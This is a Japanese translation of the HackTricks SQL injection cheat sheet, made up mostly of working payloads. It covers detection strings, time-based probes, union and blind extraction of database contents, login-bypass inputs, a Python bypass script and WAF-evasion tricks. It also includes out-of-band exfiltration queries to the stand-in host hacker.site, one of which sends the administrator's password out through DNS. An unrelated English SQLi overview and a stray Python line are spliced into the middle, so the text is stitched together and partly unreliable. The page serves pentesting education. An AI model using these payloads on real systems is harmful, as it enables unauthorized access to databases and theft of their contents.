hacktricks/pentesting-web/sql-injection
2024-02-09 08:23:12 +00:00
..
mysql-injection Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
postgresql-injection Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
sqlmap Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
cypher-injection-neo4j.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
ms-access-sql-injection.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
mssql-injection.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
oracle-injection.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
sqlmap.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00

SQL インジェクション

htARTEHackTricks AWS Red Team Expert でゼロからヒーローまでAWSハッキングを学ぶ

RootedCONスペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ でも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

SQL インジェクションとは?

SQL インジェクションは、攻撃者がアプリケーションのデータベースクエリに 干渉 できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを 表示変更、または 削除 することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否さえも引き起こす可能性があります。

エントリーポイントの検出

サイトが SQL インジェクションSQLi に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、最初のステップ は、クエリにデータを 挿入する方法を理解し、それを妨げることなく 行うことです。これには、現在のコンテキストから 効果的に脱出する方法 を特定する必要があります。 以下は、いくつかの有用な例です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、クエリを修正してエラーが発生しないようにする方法を知る必要があります。クエリを修正するためには、新しいデータを入力して、以前のクエリが新しいデータを受け入れるようにするか、単にデータを入力してコメント記号を末尾に追加することができます。

クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理演算で確認

SQLインジェクションの脆弱性を確認する信頼性の高い方法は、論理演算を実行し、期待される結果を観察することです。たとえば、?username=PeterというGETパラメータが?username=Peter' or '1'='1に変更されたときに同一のコンテンツが生成される場合、SQLインジェクションの脆弱性が示唆されます。

同様に、数学演算の適用は効果的な確認手法として機能します。たとえば、?id=1にアクセスした場合と?id=2-1にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。

論理演算による確認を示す例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

このワードリストは、提案された方法でSQLインジェクションを確認しようと作成されました:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

タイミングでの確認

場合によっては、テストしているページに変化に気づかないことがあります。そのため、ブラインドSQLインジェクションを発見する良い方法は、DBにアクションを実行させ、ページの読み込みに時間がかかる影響を与えることです。
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結します

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

いくつかの場合、sleep関数を許可されないことがあります。その場合、これらの関数を使用する代わりに、複雑な操作を実行させることで、数秒かかるクエリを作成できます。これらのテクニックの例は、各技術ごとに別々にコメントされます

バックエンドの特定

バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションのsleep関数またはこれらの関数を使用できます(payloadsallthethingsからのテーブルを使用):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

また、クエリの出力にアクセスできる場合は、データベースのバージョンを表示させることができます

{% hint style="info" %} 続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。 {% endhint %}

PortSwiggerを使用した識別

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Union Basedの悪用

列の数を検出する

クエリの出力を見ることができる場合、これが悪用する最良の方法です。
まず、初期リクエストが返す列の数を見つける必要があります。これは両方のクエリが同じ列の数を返す必要があるためです。
通常、この目的のためには2つの方法が使用されます:

Order/Group by

クエリ内の列の数を特定するには、ORDER BYまたはGROUP BY句で使用される数を段階的に調整し、偽の応答が受信されるまで増やします。SQL内のGROUP BYORDER BYの異なる機能にもかかわらず、クエリの列数を確認するために両方を同様に利用できます。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

クエリが正しい値を返すまで、さらに多くの null 値を選択します:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、null値を使用する必要があります。nullはすべてのケースで有効です。

データベース名、テーブル名、列名を抽出

次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。

隠れた Union Based の悪用

クエリの出力が見えるが、union-based injection が達成不可能に見える場合、隠れた union-based injection の存在を示しています。このシナリオはしばしば blind injection の状況につながります。blind injection を union-based に変換するには、バックエンドでの実行クエリを識別する必要があります。

これは、目標とするデータベース管理システムDBMSに固有のデフォルトテーブルと共に blind injection テクニックを使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。

クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードに union クエリを追加することで、新たにアクセス可能になった union-based injection を悪用できます。

より包括的な洞察を得るには、Healing Blind Injections で利用可能な完全な記事を参照してください。

エラーを利用した悪用

何らかの理由で クエリの出力見ることができない が、エラーメッセージを見ることができる 場合、これらのエラーメッセージを使用してデータベースからデータを 外部に持ち出す ことができます。
Union Based の悪用と同様の流れに従うことで、DB をダンプすることができます。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪用

この場合、クエリの結果やエラーを見ることはできませんが、クエリがtrueまたはfalseの応答を返すときに区別できます。なぜなら、ページには異なるコンテンツが表示されるからです。
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

エラー盲目SQLiの悪用

これは以前と同じケースですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLiの悪用

この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。すでにこのテクニックが使用されており、SQLiの脆弱性を確認するために使用されています。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタックされたクエリ

スタックされたクエリを使用して、連続して複数のクエリを実行できます。後続のクエリが実行される間、結果はアプリケーションに返されないことに注意してください。したがって、このテクニックは主にブラインド脆弱性に関連して使用され、第二のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。

Oracleスタックされたクエリをサポートしていません。MySQL、Microsoft、およびPostgreSQLはそれらをサポートしています:ここにクエリ1; ここにクエリ2

Out of band Exploitation

他のどの攻撃手法も機能しない場合、データベースに情報を外部ホスト(あなたが制御する)に送信させることを試してみることができます。たとえば、DNSクエリを介して

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEを利用した外部バンドデータのエクスフィルトレーション

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された攻撃

SQLi脆弱性を利用するためのsqlmapを使用した攻撃手法については、SQLMapチートシートを参照してください。

テクノロジー固有の情報

SQLインジェクション脆弱性を悪用する方法についてはすでにすべて説明しました。この書籍では、データベーステクロジーに依存したさらなるトリックを見つけることができます

また、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックこちらで見つけることができます。

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

認証バイパス

ログイン機能をバイパスしようとするリスト:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

生のハッシュ認証バイパス

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しており、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を工夫してハッシュ化すると、予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

インジェクトされたハッシュ認証バイパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推奨リスト:

リストの各行をユーザー名として使用し、常にパスワードを Pass1234. としてください。
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK 認証バイパス

IF ' がエスケープされている場合、%A8%27 を使用できます。そして ' がエスケープされると、0xA80x5c0x27 (╘') が作成されます。

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Pythonスクリプト

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットインジェクション(マルチコンテキスト)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

挿入ステートメント

既存のオブジェクト/ユーザーのパスワードを変更する

これを行うには、おそらくユーザーの場合は管理者として名前が付けられた**「マスターオブジェクト」という新しいオブジェクトを作成しようとしてください:

  • ユーザー名をAdMInとして作成する(大文字と小文字を区別)
  • ユーザー名を**admin=**として作成する
  • SQL Truncation Attack(ユーザー名やメールに文字数制限がある場合) --> 名前が**admin [たくさんのスペース]**のユーザーを作成する

SQL Truncation Attack

データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザーadminをなりすます場合、"admin [30スペース] a"というユーザー名を作成してみてください。そして、任意のパスワードを設定します。

データベースは、導入されたユーザー名がデータベース内に存在するかどうかを確認します。もし存在しない場合、ユーザー名許可された最大文字数(この場合は"admin [25スペース]")に切り取り、そして自動的に末尾のすべてのスペースを削除してデータベース内のユーザー**「admin」新しいパスワード**を更新します(エラーが表示されることがありますが、これが機能していないということではありません)。

詳細情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。これについての詳細情報はこちらを参照してください: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL挿入時の時間ベースのチェック

VALUESステートメントを終了すると考えられるだけの','',''を追加します。遅延が発生した場合、SQLインジェクションが発生しています。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、UNIQUEインデックスやPRIMARY KEYに重複する値が挿入されようとした場合にデータベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています

例:インジェクションペイロード

インジェクションペイロードは、usersテーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています。

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

情報の抽出

同時に2つのアカウントを作成する

新しいユーザーとユーザー名を作成しようとすると、パスワードと電子メールが必要です。

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数または16進数を使用する

このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。

hex2decsubstr を使用する:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

以下は、ハッキング技術に関する本の内容です。ファイルpentesting-web/sql-injection/README.mdからのコンテンツです。

SQL Injection

Description

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

Impact

The impact of an SQL injection attack can vary greatly depending on the application, the functionality of the website, and the data that is stored in the database. Some of the potential consequences of a successful SQL injection attack include unauthorized access to sensitive data, such as personal information, financial data, or intellectual property; the ability to execute operations on the database, such as adding, modifying, or deleting records; and in some cases, the ability to take control of the server that hosts the database.

Detection

Detecting SQL injection vulnerabilities can be challenging, as they can be present in both the frontend and backend components of a web application. Automated tools can be used to scan for common SQL injection vulnerabilities, but manual testing is often required to identify more complex issues. Common indicators of SQL injection include error messages that reveal details about the database structure, unexpected changes in application behavior, and the presence of suspicious or malformed input in application requests.

Prevention

Preventing SQL injection attacks requires a combination of secure coding practices and input validation techniques. Developers should use parameterized queries or prepared statements to prevent malicious input from being interpreted as SQL commands. Additionally, input should be validated on the client side to ensure that it conforms to expected formats and does not contain any potentially harmful characters. Regular security assessments and code reviews can help identify and address SQL injection vulnerabilities before they can be exploited by attackers.

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace(およびsubstr)を使用する:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い交流の場となっています。

{% embed url="https://www.rootedcon.com/" %}

ルーテッドSQLインジェクション

ルーテッドSQLインジェクションとは、インジェクション可能なクエリが出力を提供するものではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。 (From Paper)

例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF バイパス

ここから初期バイパス

スペースなしバイパス

スペースなし (%20) - 空白の代替手段を使用したバイパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを使用してバイパスする

攻撃者は、SQLインジェクション攻撃を実行する際に、SQLクエリ内のスペースを回避するために、コメントを使用することができます。コメントを使用することで、SQLクエリの一部を無効にし、攻撃者が意図したコードを実行させることが可能となります。

例えば、以下のようなSQLクエリがあるとします

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

攻撃者は、以下のようにコメントを使用してスペースを回避することができます:

SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'password'

このようにすることで、AND password = 'password' の部分がコメントとして無視され、攻撃者が任意の条件を挿入することが可能となります。

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - パーレンシスを使用してバイパスする

このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にスペースが必要ですが、パーレンシス括弧を使用することでスペースを回避することができます。これにより、攻撃者はSQLインジェクション攻撃を実行し、目的のデータベースにアクセスすることが可能となります。

?id=(1)and(1)=(1)--

コンマをバイパスする

オフセット、FROM、JOINを使用してコンマをバイパスします。

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

一般的なバイパス

キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

キーワードを使ったブラックリストは大文字小文字を区別しない - 同等の演算子を使用してバイパスします

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学的表記 WAF バイパス

このトリックの詳細な説明は、gosecure ブログで見つけることができます。
基本的に、WAF をバイパスするために予期しない方法で科学的表記を使用できます。

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名の制限をバイパスする

まず最初に、もし元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合は、単に次のようにすることができます: 0 UNION SELECT * FROM flag

カラム名を使用せずにテーブルの3番目のカラムにアクセスすることが可能です。以下のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;、したがって、これはsqlinjectionでは次のようになります:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

または、カンマバイパスを使用する:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取得されました。

WAF バイパス提案ツール

{% embed url="https://github.com/m4ll0k/Atlas" %}

その他のガイド

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert